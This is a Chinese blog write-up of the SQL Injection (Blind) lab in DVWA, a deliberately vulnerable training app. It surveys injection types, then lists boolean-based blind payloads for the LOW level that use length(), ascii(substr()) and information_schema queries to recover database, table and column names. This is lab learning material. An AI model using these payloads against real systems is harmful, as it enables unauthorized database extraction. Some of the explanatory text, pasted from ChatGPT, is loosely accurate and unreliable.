DVWA SQL Injection (Blind)

目录

SQL注入

利用方式

1. 基于错误的注入(Error-Based Injection)

2. 基于联合查询的注入(Union-Based Injection)

3. 基于布尔盲注(Boolean-Based Blind Injection)

4. 基于时间盲注(Time-Based Blind Injection)

5. 堆叠查询注入(Stacked Query Injection)

6. 盲注和时间盲注结合(Blind and Time-Based Blind Injection Combination)

盲注

概念

分类

基于布尔的盲注

基于时间的盲注

基于报错的盲注

流程

DVWA

LOW

1.判断注入类型

2.确认数据库名称 

2.1.数据库名称长度

2.2数据库名称字符组成元素

3.确认数据库表名

3.1表的数量

3.2表名长度

3.3表名

4.表中的字段名

4.1字段数目

4.2字段长度

4.3字段名字

5.字段值

MEDIUM

HIGH


SQL注入

利用方式

1. 基于错误的注入(Error-Based Injection

攻击者通过在 SQL 查询中注入恶意代码,触发数据库错误,从而获得关键信息。例如,攻击者可以通过添加非法字符或闭合引号来引发SQL 语法错误, 并从错误消息中获取有关数据库结构或内容的信息。

2. 基于联合查询的注入(Union-Based Injection

攻击者通过注入特殊的 SQL 代码,使数据库返回额外的数据,通常是通过 UNION SELECT 语句来实现的。这样攻击者可以获取其他表的数据或合 并查询结果,泄露敏感信息。

3. 基于布尔盲注(Boolean-Based Blind Injection

在某些情况下,应用程序不会直接返回数据库查询结果,但攻击者仍然可以通过观察应用程序的响应来推断数据是否符合条件。攻击者可以通过注入恶意代码来构造布尔表达式,通过观察应用程序的响应来推断查询的真假值。

4. 基于时间盲注(Time-Based Blind Injection

类似于布尔盲注,应用程序不会直接返回数据库查询结果,但攻击者可以通过观察应用程序的响应时间来推断数据是否符合条件。攻击者可以在恶 意代码中添加时间延迟函数,观察应用程序的响应时间来推断查询的真假值。

5. 堆叠查询注入(Stacked Query Injection

攻击者可以通过注入多个 SQL 查询来执行多个操作。 这样可以绕过应用程序对一次请求只执行一条查询的限制。

6. 盲注和时间盲注结合(Blind and Time-Based Blind Injection Combination

有时候,应用程序可能对外部响应进行过滤或隐藏错误消息,使得常规的盲注方法不适用。在这种情况下,攻击者可能结合盲注和时间盲注,通过观察响应时间和应用程序的行为来推断查询结果。
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行的结果,甚至连注入语句是否执行都无法得知。

盲注

概念

 盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

分类

基于布尔的盲注

        相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,我们就可以规定为布尔盲注。

        测试思路:通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段个数,字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<–>False发生变化的转折点。
 

基于时间的盲注

        它比布尔盲注更加神秘,不管你输入什么,页面都还是那个页面,不会因为你的某些条件而发生变化,但这里,如果结合巧妙的语句,让其某些条件的达成,页面会晚一点回复数据,这样就是基于时间的盲注。

        测试思路:通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
 

基于报错的盲注

        即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中

        测试思路:基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

流程

1.判断注入是否存在,注入类型

2.确认数据库名称

3.确认数据库中的表名

4.表中的字段名

5.表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

DVWA

LOW

1.判断注入类型

输入1',报错,说明存在注入

输入1 and 1=1,1and 1=2,1' and '1'='1,都显示成功

输入1' and '1'='2 报错,说明是字符型注入

查询返回的结果只有“exists”或者”missing”两种,说明存在SQL盲注。布尔盲注

2.确认数据库名称 

猜解数据库名,首先要猜解数据库名的各个属性,然后挨个猜解字符。

数据库名称的属性:字符长度字符组成的元素(字符/数字/下划线/…)元素的位置(首位/第一位/…/末位)

2.1.数据库名称长度

1' and length(database())><=123....  # 尝试

1' and length(database())=4#显示正确

2.2数据库名称字符组成元素

需要用到ASCII表实现数字和字符的转换

语句1’ and ascii(substr(database(),1,1))><=123...#

substr函数 (俗称:字符截取函数)
  格式1: substr(string string, int a, int b);
  格式2:substr(string string, int a) ;

格式1:
    1、string 需要截取的字符串 
    2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
    3、b 要截取的字符串的长度

格式2:
    1、string 需要截取的字符串
    2、a 可以理解为从第a个字符开始截取后面所有的字符串。
eg:

1、select substr('HelloWorld',0,3) value from dual; //返回结果:Hel,截取从“H”开始3个字符
2、select substr('HelloWorld',1,3) value from dual; //返回结果:Hel,截取从“H”开始3个字符
3、select substr('HelloWorld',2,3) value from dual; //返回结果:ell,截取从“e”开始3个字符

ascii()函数:返回字符表达式最左端字符的   ASCII   代码值。 

 最后尝试出结果:

1’ and ascii(substr(database(),1,1))=100#    第一个是d
1’ and ascii(substr(database(),2,1))=118#    第二个是v
1’ and ascii(substr(database(),3,1))=119#    第三个是w
1’ and ascii(substr(database(),4,1))=97#    第四个是a

3.确认数据库表名

3.1表的数量

语句:1’ and (select count(table_name) from information_schema.tables where table_schema=database())<>=123...#

来源chatgpt

COUNT()函数是一种非常常用的聚合函数,用于计算行的数量。下面是几个使用COUNT()函数的例子,以及它们的解释:

  1. 计算表中的所有行数

    • 示例:计算名为"students"的表中的所有学生的数量。
    SELECT COUNT(*) FROM students; 
    • 解释:这个查询使用COUNT(*)来计算"students"表中的所有行的数量。它不关心特定列,只是返回整个表的行数。
  2. 计算满足特定条件的行数

    • 示例:计算名为"orders"的表中已完成的订单数量。
    SELECT COUNT(*) FROM orders WHERE status = 'completed'; 
    • 解释:这个查询使用COUNT(*)来计算"orders"表中状态为'completed'的订单的数量。它只计算满足特定条件的行数。
  3. 计算唯一值的数量

    • 示例:计算名为"employees"的表中不同部门的数量。
    SELECT COUNT(DISTINCT department) FROM employees; 
    • 解释:这个查询使用COUNT(DISTINCT department)来计算"employees"表中不同部门的数量。DISTINCT关键字确保只计算唯一值的数量。
  4. 计算与其他表的关联结果的行数

    • 示例:计算名为"customers"表中有关联订单的客户数量。
    SELECT COUNT(DISTINCT customers.customer_id) FROM customers JOIN orders ON customers.customer_id = orders.customer_id; 
    • 解释:这个查询使用COUNT(DISTINCT customers.customer_id)来计算与名为"orders"的表关联的"customers"表中的客户数量。它计算的是在两个表之间建立的关联。

COUNT()函数是非常有用的,它可以用于汇总数据,回答有关数据集的问题,并帮助你了解数据库中的数据分布。

"information_schema.tables" 表是一个系统表,通常存在于支持SQL标准的关系型数据库管理系统中,如MySQL、PostgreSQL、SQL Server等。它包含了有关数据库中表的元数据信息,允许用户查询和了解数据库中存在的表的结构和属性。以下是关于 "information_schema.tables" 表的详细解释:

  1. 表结构信息: "information_schema.tables" 表存储了与数据库中的每个表相关的信息,包括表的名称、所属的数据库、表的类型(例如,基本表或视图)、表的引擎类型(针对MySQL等数据库),以及其他表级别的属性。

  2. 元数据信息:它还包含了一些关于表的元数据信息,如创建时间、更新时间、表的字符集和排序规则等。

  3. 权限信息: "information_schema.tables" 表还包含有关表的访问权限和安全性的信息,这些信息对于数据库管理员和安全管理人员非常有用。

  4. 系统信息:这个表通常用于管理和监控数据库的内部信息。例如,它可以帮助你了解哪些表存在、它们的大小、是否是临时表等。

  5. SQL查询的依赖性:可以使用 "information_schema.tables" 表来查找某个表是否被其他表或视图引用,这对于检测数据库中的依赖关系非常有帮助。

  6. 数据库版本迁移和升级:在进行数据库迁移或升级时,可以使用 "information_schema.tables" 表来分析和比较不同数据库版本之间的表结构变化。

下面是一个示例查询,以查找数据库中的所有表的名称和其所属的数据库:

SELECT table_name, table_schema FROM information_schema.tables WHERE table_type = 'BASE TABLE'; 

这个查询会返回所有基本表的名称以及它们所属的数据库。表的元数据信息存储在 "information_schema" 数据库中,允许用户查看和理解数据库中表的结构和属性,以及执行元数据查询以获取关于数据库的信息。

table_nametable_schema 是 "information_schema.tables" 表的两个列(字段)。

  • table_name 列包含了数据库中每个表的名称。它表示了数据库中的表的标识符,通常是用户定义的表名。

  • table_schema 列包含了每个表所属的数据库名称。它指定了数据库中的表所在的数据库。这是一个非常有用的列,因为它允许你知道每个表位于哪个数据库中。

最后结果1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 存在,表数量为2

3.2表名长度

语句分析:

1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()

2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 结果编号(从0开始),返回结果数量

LIMIT 是一个用于限制查询结果集大小的子句。具体来说,LIMIT 用于指定从查询结果集中返回的行的数量以及起始位置。在你的查询中,LIMIT 0,1 表示从查询结果的第一行开始,取一个行。这可以用于分页查询或仅获取结果集中的特定行。

3.计算当前连接数据库第1个表名的字符串长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #

最后结果1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#,第一个表名长度为9

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5#,第二个表名长度为5

3.3表名

语句1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#第一个表名第一个字符

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#第二个表名第二个字符

结果:guestbook,users

4.表中的字段名

4.1字段数目

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8#

8个字段

4.2字段长度

1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))<>=123...#

4.3字段名字

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<>=123...#

5.字段值

1.长度 2.字符

1' and   ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))><=123...#

MEDIUM

和DVWA上一个sql注入做法一样的,用brup抓包修改id,然后一个个试,这次是数字型注入,重复的不想写了……

HIGH

步骤有什么区别……

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值